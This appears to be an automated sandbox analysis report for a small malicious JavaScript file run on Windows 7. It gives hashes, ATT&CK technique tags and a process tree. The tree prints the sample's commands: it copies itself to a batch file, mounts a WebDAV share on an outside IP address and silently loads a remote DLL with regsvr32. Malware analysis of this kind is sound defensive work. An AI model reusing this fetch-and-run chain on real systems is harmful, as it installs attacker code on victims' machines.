2bb564ace8e2d2713dafd360070e45adeb626c926c3964588521acf3b0ef37df

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 01:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2334022725135531801.js
Size

5KB
MD5

f5bfe5d8e4a28572c1a8f113287549b7
SHA1

daea905f5817ba1cc7742fbb7952fb7801f741a6
SHA256

63149102d2ecdf637b0a009e1f007f127369cb7462e5ee0b6c11ae9bcdb27651
SHA512

640a62d1ed117c38d192d3ee917c417d81a1ef093be405fcc02dcc88a37383951a2206191eb120fbe9f251a4810b185a67dd50893c2b0573d7590dab16a55837
SSDEEP

96:6PUKgouyC68P/A7r/AV2b9FaqcWW6DeXyn8rmrHl+3rwrio/kG:ScyYP/K/NFD7oXycmI3rYX/kG

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2628	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 2544	3028	wscript.exe	30
PID 3028 wrote to memory of 2544	3028	wscript.exe	30
PID 3028 wrote to memory of 2544	3028	wscript.exe	30
PID 2544 wrote to memory of 1464	2544	cmd.exe	32
PID 2544 wrote to memory of 1464	2544	cmd.exe	32
PID 2544 wrote to memory of 1464	2544	cmd.exe	32
PID 2544 wrote to memory of 2628	2544	cmd.exe	33
PID 2544 wrote to memory of 2628	2544	cmd.exe	33
PID 2544 wrote to memory of 2628	2544	cmd.exe	33
PID 2544 wrote to memory of 2628	2544	cmd.exe	33
PID 2544 wrote to memory of 2628	2544	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2334022725135531801.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2334022725135531801.js" "C:\Users\Admin\\aceiry.bat" && "C:\Users\Admin\\aceiry.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1464
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\31.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\aceiry.bat

Filesize
5KB

MD5
f5bfe5d8e4a28572c1a8f113287549b7

SHA1
daea905f5817ba1cc7742fbb7952fb7801f741a6

SHA256
63149102d2ecdf637b0a009e1f007f127369cb7462e5ee0b6c11ae9bcdb27651

SHA512
640a62d1ed117c38d192d3ee917c417d81a1ef093be405fcc02dcc88a37383951a2206191eb120fbe9f251a4810b185a67dd50893c2b0573d7590dab16a55837

Download Submit